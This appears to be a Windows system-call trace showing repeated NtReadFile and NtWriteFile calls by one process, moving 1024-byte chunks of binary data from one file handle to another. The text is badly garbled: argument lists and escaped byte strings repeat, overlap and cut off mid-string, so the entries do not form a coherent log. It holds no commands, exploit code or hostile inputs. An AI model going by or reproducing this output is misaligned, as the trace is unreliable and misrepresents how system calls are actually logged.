 01384  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17\313J7]\262\373\202\274l??\33\35\305)\227\324\26\336\203\270)\363H\265"\17\24\25N\263l\11V\13\264Y\16C\0E\2\277\\2404\213{\200\331\36X\364\31\376\33\204\301\36\313\20\335\252\232(-\263/$\10.\12\20\14\32\168\15\3k\5Q\7K\226bc\366\1`\6r\250,\352\316\7\370:\247f(\305\264!\3041"\3034\25T\262^I8#T=?~qL>*u!(c\231\221jj!.x\241\343h\305_\1771a\332\21\5/\36250y3\13\270\375\263?7\241\35\32\222,\12s\7tv\246"\300VY-x\11n3\273\371`\30\377\2658\348\300\261\365km\326Pa\31\217\27\3\360 psw\315Y%\240\253(\250\350!-\352\2719t;k\3613\262\307O\14;?\205?\327\313"\331\363<\331@\3435o\262A;8\266\360\14\333\37\322\2257\335\252\363P4\357f*\253\327**\337\207[?\272r6\23\271H7\277\350\17\1\372'\375\275\337\31|\236\336\12#\340}s\301)2'\250\322 _"\255\325"0E;\263\317iB3\274y\341N=~\277\304\353\37k\36\4\253\342\343\313,\31,\247\%\26&X%\22\3561\21\362F2\2646\274o=\202\270\342&}?\232\336=\277\30  \325#\306\250"\256\245%\234\352,\307<\2424\261\277?\2754\2257\371\3309\2668\377\25=\332\_\12\236\301\336", ) \17\24\25N\263l\11V\13\264Y\16C\0E\2\277\\2404\213{\200\331\36X\364\31\376\33\204\301\36\313\20\335\252\232(-\263/$\10.\12\20\14\32\168\15\3k\5Q\7K\226bc\366\1`\6r\250,\352\316\7\370:\247f(\305\264!\3041 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17\313J7]\262\373\202\274l??\33\35\305)\227\324\26\336\203\270)\363H\265"\17\24\25N\263l\11V\13\264Y\16C\0E\2\277\\2404\213{\200\331\36X\364\31\376\33\204\301\36\313\20\335\252\232(-\263/$\10.\12\20\14\32\168\15\3k\5Q\7K\226bc\366\1`\6r\250,\352\316\7\370:\247f(\305\264!\3041"\3034\25T\262^I8#T=?~qL>*u!(c\231\221jj!.x\241\343h\305_\1771a\332\21\5/\36250y3\13\270\375\263?7\241\35\32\222,\12s\7tv\246"\300VY-x\11n3\273\371`\30\377\2658\348\300\261\365km\326Pa\31\217\27\3\360 psw\315Y%\240\253(\250\350!-\352\2719t;k\3613\262\307O\14;?\205?\327\313"\331\363<\331@\3435o\262A;8\266\360\14\333\37\322\2257\335\252\363P4\357f*\253\327**\337\207[?\272r6\23\271H7\277\350\17\1\372'\375\275\337\31|\236\336\12#\340}s\301)2'\250\322 _"\255\325"0E;\263\317iB3\274y\341N=~\277\304\353\37k\36\4\253\342\343\313,\31,\247\%\26&X%\22\3561\21\362F2\2646\274o=\202\270\342&}?\232\336=\277\30  \325#\306\250"\256\245%\234\352,\307<\2424\261\277?\2754\2257\371\3309\2668\377\25=\332\_\12\236\301\336", ) \300VY-x\11n3\273\371`\30\377\2658\348\300\261\365km\326Pa\31\217\27\3\360 psw\315Y%\240\253(\250\350!-\352\2719t;k\3613\262\307O\14;?\205?\327\313320!\266#T#\1\307\14\371\15\7\247\342~\307\212\202\2212\30\2252\247?+@<\334<\206W\33\35<\30^$\241)rd 0[\270i;-\227-DE1cr\270\374\274\252\23\244\231\271\303C2\243\376R\34\236\377\341\243\340!\250\325\345%\341\241]\16',+\354  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17\313J7]\262\373\202\274l??\33\35\305)\227\324\26\336\203\270)\363H\265"\17\24\25N\263l\11V\13\264Y\16C\0E\2\277\\2404\213{\200\331\36X\364\31\376\33\204\301\36\313\20\335\252\232(-\263/$\10.\12\20\14\32\168\15\3k\5Q\7K\226bc\366\1`\6r\250,\352\316\7\370:\247f(\305\264!\3041"\3034\25T\262^I8#T=?~qL>*u!(c\231\221jj!.x\241\343h\305_\1771a\332\21\5/\36250y3\13\270\375\263?7\241\35\32\222,\12s\7tv\246"\300VY-x\11n3\273\371`\30\377\2658\348\300\261\365km\326Pa\31\217\27\3\360 psw\315Y%\240\253(\250\350!-\352\2719t;k\3613\262\307O\14;?\205?\327\313"\331\363<\331@\3435o\262A;8\266\360\14\333\37\322\2257\335\252\363P4\357f*\253\327**\337\207[?\272r6\23\271H7\277\350\17\1\372'\375\275\337\31|\236\336\12#\340}s\301)2'\250\322 _"\255\325"0E;\263\317iB3\274y\341N=~\277\304\353\37k\36\4\253\342\343\313,\31,\247\%\26&X%\22\3561\21\362F2\2646\274o=\202\270\342&}?\232\336=\277\30  \325#\306\250"\256\245%\234\352,\307<\2424\261\277?\2754\2257\371\3309\2668\377\25=\332\_\12\236\301\336", ) \255\325 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17\313J7]\262\373\202\274l??\33\35\305)\227\324\26\336\203\270)\363H\265"\17\24\25N\263l\11V\13\264Y\16C\0E\2\277\\2404\213{\200\331\36X\364\31\376\33\204\301\36\313\20\335\252\232(-\263/$\10.\12\20\14\32\168\15\3k\5Q\7K\226bc\366\1`\6r\250,\352\316\7\370:\247f(\305\264!\3041"\3034\25T\262^I8#T=?~qL>*u!(c\231\221jj!.x\241\343h\305_\1771a\332\21\5/\36250y3\13\270\375\263?7\241\35\32\222,\12s\7tv\246"\300VY-x\11n3\273\371`\30\377\2658\348\300\261\365km\326Pa\31\217\27\3\360 psw\315Y%\240\253(\250\350!-\352\2719t;k\3613\262\307O\14;?\205?\327\313"\331\363<\331@\3435o\262A;8\266\360\14\333\37\322\2257\335\252\363P4\357f*\253\327**\337\207[?\272r6\23\271H7\277\350\17\1\372'\375\275\337\31|\236\336\12#\340}s\301)2'\250\322 _"\255\325"0E;\263\317iB3\274y\341N=~\277\304\353\37k\36\4\253\342\343\313,\31,\247\%\26&X%\22\3561\21\362F2\2646\274o=\202\270\342&}?\232\336=\277\30  \325#\306\250"\256\245%\234\352,\307<\2424\261\277?\2754\2257\371\3309\2668\377\25=\332\_\12\236\301\336", ) \256\245%\234\352,\307<\2424\261\277?\2754\2257\371\3309\2668\377\25=\332\_\12\236\301\336", ) == 0x0
 01385  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "q\312r\327M\344\\37\314\361>a\0M\261\263\302\243\322\324\341mw\352\22\346\213\206?\330\274\261\365\214Jb\346f\215\231\250&\317_f\224\314\14\357\304\317 ~\35\346\236\356kRM\350\247\4\353\11a\22\350\240\350\227\17\241!k&\34\361\6\266r\341\224\201\224\214\264\347\344Jw\37B\317\276\177$\346M)\241{dJ\360O\301\33\353\204\276\372D\262\177\372g\266+\7.\267\224{\270M\237\23\2600\352\337M\360\304\30\272\2352\221\14\325\24S\237\315\246;\31Q\211\235\321\270v\370\357h&\223\220\2470]\261\13\215\13\264\306\2069x\16\232\371[{9\211\257\313\222\365`A\255\320l\223\306+\313\235D|\365\271\362\221Yr\311\226\275\274<^o"\11e\37.\355\37w~@\220]\272`\342U\277\1Y\311\21\7"D\30\270\264\315g\20x9c\2325\326|\354\337\215\177\330qLsA7MpTH;p}\365\214\323"U\353\357"7\370\17\345\240\352e\235}:s\250)\201\351|\169s\254\232tZ\207\35\350hr\366I|x&\14\360;y\325])\274TAi\266y][\325hAlL\272\222r\205\352I\272\27\6\2100{\271\206\327\375\215\331\240\3300\217\373\326!\247/\245\362\224c\243\33\15\224\362[M\24\26R\13D\376\357(\\324\200\245\1X\327'b\320\301\310I\361*\10ewO\211\223!\237\222\11'\364h\251\222\200,?\277\202>\0z/Y\352\220"9A\236\36p\374\222[\253V\372ha?c\36\11\27\13\333\277G-\21/\247p\303A\33\213\315l5\233\17'lO\317\230m\33r\343X\45$\253\266\346\265\302\317$Dj\26\323\347\325\16_\217\321\232\252$\301n\230}:\32';\22\32\255 \274#px\203\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \11e\37.\355\37w~@\220]\272`\342U\277\1Y\311\21\7 (92, 0, 0, 0, "q\312r\327M\344\\37\314\361>a\0M\261\263\302\243\322\324\341mw\352\22\346\213\206?\330\274\261\365\214Jb\346f\215\231\250&\317_f\224\314\14\357\304\317 ~\35\346\236\356kRM\350\247\4\353\11a\22\350\240\350\227\17\241!k&\34\361\6\266r\341\224\201\224\214\264\347\344Jw\37B\317\276\177$\346M)\241{dJ\360O\301\33\353\204\276\372D\262\177\372g\266+\7.\267\224{\270M\237\23\2600\352\337M\360\304\30\272\2352\221\14\325\24S\237\315\246;\31Q\211\235\321\270v\370\357h&\223\220\2470]\261\13\215\13\264\306\2069x\16\232\371[{9\211\257\313\222\365`A\255\320l\223\306+\313\235D|\365\271\362\221Yr\311\226\275\274<^o"\11e\37.\355\37w~@\220]\272`\342U\277\1Y\311\21\7"D\30\270\264\315g\20x9c\2325\326|\354\337\215\177\330qLsA7MpTH;p}\365\214\323"U\353\357"7\370\17\345\240\352e\235}:s\250)\201\351|\169s\254\232tZ\207\35\350hr\366I|x&\14\360;y\325])\274TAi\266y][\325hAlL\272\222r\205\352I\272\27\6\2100{\271\206\327\375\215\331\240\3300\217\373\326!\247/\245\362\224c\243\33\15\224\362[M\24\26R\13D\376\357(\\324\200\245\1X\327'b\320\301\310I\361*\10ewO\211\223!\237\222\11'\364h\251\222\200,?\277\202>\0z/Y\352\220"9A\236\36p\374\222[\253V\372ha?c\36\11\27\13\333\277G-\21/\247p\303A\33\213\315l5\233\17'lO\317\230m\33r\343X\45$\253\266\346\265\302\317$Dj\26\323\347\325\16_\217\321\232\252$\301n\230}:\32';\22\32\255 \274#px\203\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) U\353\357 (92, 0, 0, 0, "q\312r\327M\344\\37\314\361>a\0M\261\263\302\243\322\324\341mw\352\22\346\213\206?\330\274\261\365\214Jb\346f\215\231\250&\317_f\224\314\14\357\304\317 ~\35\346\236\356kRM\350\247\4\353\11a\22\350\240\350\227\17\241!k&\34\361\6\266r\341\224\201\224\214\264\347\344Jw\37B\317\276\177$\346M)\241{dJ\360O\301\33\353\204\276\372D\262\177\372g\266+\7.\267\224{\270M\237\23\2600\352\337M\360\304\30\272\2352\221\14\325\24S\237\315\246;\31Q\211\235\321\270v\370\357h&\223\220\2470]\261\13\215\13\264\306\2069x\16\232\371[{9\211\257\313\222\365`A\255\320l\223\306+\313\235D|\365\271\362\221Yr\311\226\275\274<^o"\11e\37.\355\37w~@\220]\272`\342U\277\1Y\311\21\7"D\30\270\264\315g\20x9c\2325\326|\354\337\215\177\330qLsA7MpTH;p}\365\214\323"U\353\357"7\370\17\345\240\352e\235}:s\250)\201\351|\169s\254\232tZ\207\35\350hr\366I|x&\14\360;y\325])\274TAi\266y][\325hAlL\272\222r\205\352I\272\27\6\2100{\271\206\327\375\215\331\240\3300\217\373\326!\247/\245\362\224c\243\33\15\224\362[M\24\26R\13D\376\357(\\324\200\245\1X\327'b\320\301\310I\361*\10ewO\211\223!\237\222\11'\364h\251\222\200,?\277\202>\0z/Y\352\220"9A\236\36p\374\222[\253V\372ha?c\36\11\27\13\333\277G-\21/\247p\303A\33\213\315l5\233\17'lO\317\230m\33r\343X\45$\253\266\346\265\302\317$Dj\26\323\347\325\16_\217\321\232\252$\301n\230}:\32';\22\32\255 \274#px\203\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 9A\236\36p\374\222[\253V\372ha?c\36\11\27\13\333\277G-\21/\247p\303A\33\213\315l5\233\17'lO\317\230m\33r\343X\45$\253\266\346\265\302\317$Dj\26\323\347\325\16_\217\321\232\252$\301n\230}:\32';\22\32\255 \274#px\203\25", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01386  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "*.m\204k\253\31-\247\6:\23346w\0%\321\304\313\320\302\301?/\335\33\16\37\24!\30\347\20!@\266\344\35|\23\247k\36/3\346\267\363\275c\16Ch\36\261u\0=\10\37\(\304\236D^3\251m$.\256x-\241u/\247-a(a\316'\273\3507&6\201\227\266\2139\372y8\36\256\37\353\379\252\256\7\254%f$www\31\354\16K\256\300\365\26637\307\226\350n6:4<\3021?\24\34\22\36\20 .O\11`\247\4+(\202y\253\177QF}d\262\7&\314\267=?\272\231\256\272?\242r\33gMu&\236/!\257iM\315\230\340\324\326*{\247\251\12/1&2\3736\277\276\267\246\263\252;\230\275\2206\30\275\16\325\36\320\200\31&N='G(g@,F$D)q\3217<^6\'\230-~\223V4o\337\15\260\375\10\33@\5 \376D\1\245\343\20\242\322\240n\343*y5\331\312\364U;\371\23\320\311\333;\324\242^\4\230\330\337\5\37!`\0\5\345$f\5\31\202\352*i'\256j:Qs9_q\304=\367M7\12\304\353\3728\3370\37v\235!\240!#V\321\256\33\367\250*cKj\322\371.2E\305\2607j\250i\3716\230U\343\32\371, ) , ) == 0x0
 01387  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\357\10"2\337\25yyM\234G\332\3265kJu\373\273\370\373\324N\275?\27V\220\241\\202$\37%|"\16/??\14\337\3\236+\301ffQ+9+\322\22X\337\377\376ve\262\37T1\25\224\214\211\206\304.\303\222\355T\340cE+\220\251\3438F^\337\247-\242\360S\36\372\0\6\365\220\236\200Q\337$\236\270\17\207\10\336.('R\257\222\200\373\317>x2B\370\304W\360\236\253\351\207s\327\263\206\240=\204\305\33R\212\231\273\206%o\232\22|\213\341\314\2\337d:tFE\255\23\227\277\364\330\204\246L$\371\233\227;y\235$\246\236\247][\200\32\200s\306\374\234\257\371\340\335\250S\337m\203\26\255\233\17\275\322}\13\352\201.h/\261@\321\360\333.\310\321\14\204(\362\244\204F\201\37\221\351G\260c\20\247\234\3053\0\300#\374\14{\34\362{\352\12!G\200\243g\245\253\324\355\346v\351\2048^!\11\357\266\312\\362c\32\311\322f\305\306\16<'(8tnP/,., 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 2\337\25yyM\234G\332\3265kJu\373\273\370\373\324N\275?\27V\220\241\\202$\37%| (92, 0, 0, 0, "\357\10"2\337\25yyM\234G\332\3265kJu\373\273\370\373\324N\275?\27V\220\241\\202$\37%|"\16/??\14\337\3\236+\301ffQ+9+\322\22X\337\377\376ve\262\37T1\25\224\214\211\206\304.\303\222\355T\340cE+\220\251\3438F^\337\247-\242\360S\36\372\0\6\365\220\236\200Q\337$\236\270\17\207\10\336.('R\257\222\200\373\317>x2B\370\304W\360\236\253\351\207s\327\263\206\240=\204\305\33R\212\231\273\206%o\232\22|\213\341\314\2\337d:tFE\255\23\227\277\364\330\204\246L$\371\233\227;y\235$\246\236\247][\200\32\200s\306\374\234\257\371\340\335\250S\337m\203\26\255\233\17\275\322}\13\352\201.h/\261@\321\360\333.\310\321\14\204(\362\244\204F\201\37\221\351G\260c\20\247\234\3053\0\300#\374\14{\34\362{\352\12!G\200\243g\245\253\324\355\346v\351\2048^!\11\357\266\312\\362c\32\311\322f\305\306\16<'(8tnP/,., 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01388  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\35\221%\200\33\223\31\346\37&\364\22\310\20\331\26.\25/$\12\27\10\2\1664:\271:\33<>\363\16E*\35s)R\27\343\25\302\23&\242\21\6\20l\26\352\22|\360\273\362\260\364f69\24080\213):0\237\23\22\251\26\21\252e\6!\17\345l\243\350]\16\30\354\272*\10\264a\363\37\2535\12gR\271\22Y\333=?\274\337\14\275\31>$s*\313\242\307\204\33\32\351\241?\304\216\314.\375\3253\32\334\246s\3259\246\336:\24\325\275\335\32mL\372\36\7\311Q\301%\15\302&\16\15\3029NS\361%\3230\27\333\2767\3246\256\335;\37\324\317|Z\271Q\371\37<\310\303\300" \301'o\12{\325>.e\255l\30\272t\13\363s6;;99k\373{\16.\333+\342\13S\0"q\313\240%9\332\327C(\303\242\1\237\255\13b\332G\3244\224nc\271\3505c\36\32\340-\20wH\367m\0#\2453y\2xv\240)vw\255w\354\273o:\266\3575&7(M2\266\177\302\267y\33\24\366w\224n%c\250$\344\257i,\24\325\324\323-\21Zi\274l#g\335"\215+<'/\270Gj\33\3>\226\36<}\250("\7\343\7!\300m\251/\4\352\33*$\331\2\3600\255\260><\321&~\2779\276\271\37\37\365\26\234$y\203d*'\316\323\253\353.\243\353)\6.\330\321\3617\214\36324\320\223\366\2708\325\276;\334\237\24\341\37 \245\312#%Y&$4\31\10\33\13\35\3\37q\1x\3f\5h\7\270\11\374\13\354\15\315\17\13-+/\\21\210\23\343\25\305\27\300\31\335\33f\36K\34C\2\265\0\370\7g\2\333\14h\17\371\11\37\10\177-\322*\302'\314mR'\2048HT\332'u2\14)j", )  \301'o\12{\325>.e\255l\30\272t\13\363s6;;99k\373{\16.\333+\342\13S\0 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\35\221%\200\33\223\31\346\37&\364\22\310\20\331\26.\25/$\12\27\10\2\1664:\271:\33<>\363\16E*\35s)R\27\343\25\302\23&\242\21\6\20l\26\352\22|\360\273\362\260\364f69\24080\213):0\237\23\22\251\26\21\252e\6!\17\345l\243\350]\16\30\354\272*\10\264a\363\37\2535\12gR\271\22Y\333=?\274\337\14\275\31>$s*\313\242\307\204\33\32\351\241?\304\216\314.\375\3253\32\334\246s\3259\246\336:\24\325\275\335\32mL\372\36\7\311Q\301%\15\302&\16\15\3029NS\361%\3230\27\333\2767\3246\256\335;\37\324\317|Z\271Q\371\37<\310\303\300" \301'o\12{\325>.e\255l\30\272t\13\363s6;;99k\373{\16.\333+\342\13S\0"q\313\240%9\332\327C(\303\242\1\237\255\13b\332G\3244\224nc\271\3505c\36\32\340-\20wH\367m\0#\2453y\2xv\240)vw\255w\354\273o:\266\3575&7(M2\266\177\302\267y\33\24\366w\224n%c\250$\344\257i,\24\325\324\323-\21Zi\274l#g\335"\215+<'/\270Gj\33\3>\226\36<}\250("\7\343\7!\300m\251/\4\352\33*$\331\2\3600\255\260><\321&~\2779\276\271\37\37\365\26\234$y\203d*'\316\323\253\353.\243\353)\6.\330\321\3617\214\36324\320\223\366\2708\325\276;\334\237\24\341\37 \245\312#%Y&$4\31\10\33\13\35\3\37q\1x\3f\5h\7\270\11\374\13\354\15\315\17\13-+/\\21\210\23\343\25\305\27\300\31\335\33f\36K\34C\2\265\0\370\7g\2\333\14h\17\371\11\37\10\177-\322*\302'\314mR'\2048HT\332'u2\14)j", ) \215+<'/\270Gj\33\3>\226\36<}\250( (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\35\221%\200\33\223\31\346\37&\364\22\310\20\331\26.\25/$\12\27\10\2\1664:\271:\33<>\363\16E*\35s)R\27\343\25\302\23&\242\21\6\20l\26\352\22|\360\273\362\260\364f69\24080\213):0\237\23\22\251\26\21\252e\6!\17\345l\243\350]\16\30\354\272*\10\264a\363\37\2535\12gR\271\22Y\333=?\274\337\14\275\31>$s*\313\242\307\204\33\32\351\241?\304\216\314.\375\3253\32\334\246s\3259\246\336:\24\325\275\335\32mL\372\36\7\311Q\301%\15\302&\16\15\3029NS\361%\3230\27\333\2767\3246\256\335;\37\324\317|Z\271Q\371\37<\310\303\300" \301'o\12{\325>.e\255l\30\272t\13\363s6;;99k\373{\16.\333+\342\13S\0"q\313\240%9\332\327C(\303\242\1\237\255\13b\332G\3244\224nc\271\3505c\36\32\340-\20wH\367m\0#\2453y\2xv\240)vw\255w\354\273o:\266\3575&7(M2\266\177\302\267y\33\24\366w\224n%c\250$\344\257i,\24\325\324\323-\21Zi\274l#g\335"\215+<'/\270Gj\33\3>\226\36<}\250("\7\343\7!\300m\251/\4\352\33*$\331\2\3600\255\260><\321&~\2779\276\271\37\37\365\26\234$y\203d*'\316\323\253\353.\243\353)\6.\330\321\3617\214\36324\320\223\366\2708\325\276;\334\237\24\341\37 \245\312#%Y&$4\31\10\33\13\35\3\37q\1x\3f\5h\7\270\11\374\13\354\15\315\17\13-+/\\21\210\23\343\25\305\27\300\31\335\33f\36K\34C\2\265\0\370\7g\2\333\14h\17\371\11\37\10\177-\322*\302'\314mR'\2048HT\332'u2\14)j", ) , ) == 0x0
 01389  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\241\4\270\375\250#IS:\11\273\250\370|W&\232\3530\3\23\10\322\302\306\270v6\32\236\311DC\326J\204\333\251E\231\341\272\313\1\367P\304\254\220\325\255\323\343*,\377\256<\217\242\102\233B\34\146\231$\261q\244\344,\213\235\370\254>\14\313v\16]\275\240\355\302\336\271\326K\235S\35\3648o=\262\237*\3510\30\2541x\325\31\222\320.\332\336i6\352c\21\305\270\4\320\23\177\301v\376\265E\316\227G)\355\305\247\202\314\333\307\302\251M'\316\233\224K\363gxwS\301\234\225\205Q\220\224\232\234BB\36i:f\223\225b\231\330\236\267'\342\235\20'\317\245;nR\375\327\250\366\17\215\222\333\366\361$\277\342\360\276\257M\37\377-\7\324y\177\313\2473u\307\346\331\310\230\357\35K0\1\251\\23\2709\206fA\206t'>\305\256\320j{(\263\255a\367\362W.\323kz\12N\214w\204\244\231]\332\2\7\2735\265h\215\2364\265W\332z0\333\317\273y\324\202\210G\367r\351%\361iO\3\31}\31\247\5\321\337\247\3142x"\177\265\0^\2211\31208\310\313\241\24\362\371k\22\273b\241oq\32\206\302\200v\214\15\250\207s\6\22\320\261\225c%\276h\374>"\331\345\363\16=\31*b\365S\312\>)}\213[\267\307>!\267\37\204\210b\336O\10\362\250\357\222\343\2168\353(\246\326W\354\316\16\37<\2068\211GF\361\272\277_(9\354&\361v`\217\350\250L\322\303I}\213\333dH\225\352\265\31\17\2]xR\315\273\13\222a\201\242\2\312\364\255\263A\304\35\236\352\232\354\335\277\245\212!\203\326\316e&\356I\244\307(\275\370\242j\216\27\346\17\327i{\335w'i\234;\2028\260\14\231\257\364\322\10)\256\233u\247u", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \177\265\0^\2211\31208\310\313\241\24\362\371k\22\273b\241oq\32\206\302\200v\214\15\250\207s\6\22\320\261\225c%\276h\374> (92, 0, 0, 0, "\241\4\270\375\250#IS:\11\273\250\370|W&\232\3530\3\23\10\322\302\306\270v6\32\236\311DC\326J\204\333\251E\231\341\272\313\1\367P\304\254\220\325\255\323\343*,\377\256<\217\242\102\233B\34\146\231$\261q\244\344,\213\235\370\254>\14\313v\16]\275\240\355\302\336\271\326K\235S\35\3648o=\262\237*\3510\30\2541x\325\31\222\320.\332\336i6\352c\21\305\270\4\320\23\177\301v\376\265E\316\227G)\355\305\247\202\314\333\307\302\251M'\316\233\224K\363gxwS\301\234\225\205Q\220\224\232\234BB\36i:f\223\225b\231\330\236\267'\342\235\20'\317\245;nR\375\327\250\366\17\215\222\333\366\361$\277\342\360\276\257M\37\377-\7\324y\177\313\2473u\307\346\331\310\230\357\35K0\1\251\\23\2709\206fA\206t'>\305\256\320j{(\263\255a\367\362W.\323kz\12N\214w\204\244\231]\332\2\7\2735\265h\215\2364\265W\332z0\333\317\273y\324\202\210G\367r\351%\361iO\3\31}\31\247\5\321\337\247\3142x"\177\265\0^\2211\31208\310\313\241\24\362\371k\22\273b\241oq\32\206\302\200v\214\15\250\207s\6\22\320\261\225c%\276h\374>"\331\345\363\16=\31*b\365S\312\>)}\213[\267\307>!\267\37\204\210b\336O\10\362\250\357\222\343\2168\353(\246\326W\354\316\16\37<\2068\211GF\361\272\277_(9\354&\361v`\217\350\250L\322\303I}\213\333dH\225\352\265\31\17\2]xR\315\273\13\222a\201\242\2\312\364\255\263A\304\35\236\352\232\354\335\277\245\212!\203\326\316e&\356I\244\307(\275\370\242j\216\27\346\17\327i{\335w'i\234;\2028\260\14\231\257\364\322\10)\256\233u\247u", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01390  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4\79sk*\22\275<5mm\354\201s\341\221\1;vp\316\271\250Xj ,+\245\352\273\332\3311\277?{\310\320\242\232X%t&\30\304W\16\36\3776\311\224\243\23\323b'\14!+_%{\306"8\33121\365\264\360i\372=V;=24>\35\301\2357\31&\374P\304?#\317~\350"r\232\314\206\245?\301f\277\215\263\212\313\310\271\333\376{?b`\207\233\232\330\3\240\35~-#+%)''),+{\255n#\260\262\373\314\7\365\304\231\2309z3\313\354w\264\312\354\35\354\35\216\261"|\251\241w\346(\257)sNck\244l\25\16r:\5?DD\211\22\375u\265\22\312\35L\336\214I\2007\5&t\330\375\2312\7]\254K\317.b\303-R\313\7::r\263:M"3N8wA\203\326?\11l\257-pE!\22278fHe\227:\14&331?\24\34\32\36\340h4\206\373\325g3\347(/s=\357B\3527\275\265\26\23\225\2652gm\306\351\3731\5\3772\32\35\240\36\35qst\313\0'\307e\277\252\322*#\250\263\250\3605\262M\265\6\3118\275\223\372\262\274E\202=\32\343\10z\237\25\256\242ge9\247\211\3530\246\17F/..\263\3656\263\277\363h\365<9;tT=T\300sC\216]\37!!F\202$!vC\241\14"+(|.>\271E\267$\3620\37\3309<\374z,<\13\332\35\220\220\305"! #\343a\278)p+\30\271\32\266\4\204\6p4\3\200\1\30\16\304\14\22=\6~#e%\276'\20!\33", ) 8\33121\365\264\360i\372=V;=24>\35\301\2357\31&\374P\304?#\317~\350 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4\79sk*\22\275<5mm\354\201s\341\221\1;vp\316\271\250Xj ,+\245\352\273\332\3311\277?{\310\320\242\232X%t&\30\304W\16\36\3776\311\224\243\23\323b'\14!+_%{\306"8\33121\365\264\360i\372=V;=24>\35\301\2357\31&\374P\304?#\317~\350"r\232\314\206\245?\301f\277\215\263\212\313\310\271\333\376{?b`\207\233\232\330\3\240\35~-#+%)''),+{\255n#\260\262\373\314\7\365\304\231\2309z3\313\354w\264\312\354\35\354\35\216\261"|\251\241w\346(\257)sNck\244l\25\16r:\5?DD\211\22\375u\265\22\312\35L\336\214I\2007\5&t\330\375\2312\7]\254K\317.b\303-R\313\7::r\263:M"3N8wA\203\326?\11l\257-pE!\22278fHe\227:\14&331?\24\34\32\36\340h4\206\373\325g3\347(/s=\357B\3527\275\265\26\23\225\2652gm\306\351\3731\5\3772\32\35\240\36\35qst\313\0'\307e\277\252\322*#\250\263\250\3605\262M\265\6\3118\275\223\372\262\274E\202=\32\343\10z\237\25\256\242ge9\247\211\3530\246\17F/..\263\3656\263\277\363h\365<9;tT=T\300sC\216]\37!!F\202$!vC\241\14"+(|.>\271E\267$\3620\37\3309<\374z,<\13\332\35\220\220\305"! #\343a\278)p+\30\271\32\266\4\204\6p4\3\200\1\30\16\304\14\22=\6~#e%\276'\20!\33", ) |\251\241w\346(\257)sNck\244l\25\16r:\5?DD\211\22\375u\265\22\312\35L\336\214I\2007\5&t\330\375\2312\7]\254K\317.b\303-R\313\7::r\263:M300\230\344\36\21\230\6O\222#\304\35\332\363\311\21''\235\354-\245mj\2613\360\25\364'88m\202\276:|\15g8\15\355\264\260< (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4\79sk*\22\275<5mm\354\201s\341\221\1;vp\316\271\250Xj ,+\245\352\273\332\3311\277?{\310\320\242\232X%t&\30\304W\16\36\3776\311\224\243\23\323b'\14!+_%{\306"8\33121\365\264\360i\372=V;=24>\35\301\2357\31&\374P\304?#\317~\350"r\232\314\206\245?\301f\277\215\263\212\313\310\271\333\376{?b`\207\233\232\330\3\240\35~-#+%)''),+{\255n#\260\262\373\314\7\365\304\231\2309z3\313\354w\264\312\354\35\354\35\216\261"|\251\241w\346(\257)sNck\244l\25\16r:\5?DD\211\22\375u\265\22\312\35L\336\214I\2007\5&t\330\375\2312\7]\254K\317.b\303-R\313\7::r\263:M"3N8wA\203\326?\11l\257-pE!\22278fHe\227:\14&331?\24\34\32\36\340h4\206\373\325g3\347(/s=\357B\3527\275\265\26\23\225\2652gm\306\351\3731\5\3772\32\35\240\36\35qst\313\0'\307e\277\252\322*#\250\263\250\3605\262M\265\6\3118\275\223\372\262\274E\202=\32\343\10z\237\25\256\242ge9\247\211\3530\246\17F/..\263\3656\263\277\363h\365<9;tT=T\300sC\216]\37!!F\202$!vC\241\14"+(|.>\271E\267$\3620\37\3309<\374z,<\13\332\35\220\220\305"! #\343a\278)p+\30\271\32\266\4\204\6p4\3\200\1\30\16\304\14\22=\6~#e%\276'\20!\33", ) +(|.>\271E\267$\3620\37\3309<\374z,<\13\332\35\220\220\305 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4\79sk*\22\275<5mm\354\201s\341\221\1;vp\316\271\250Xj 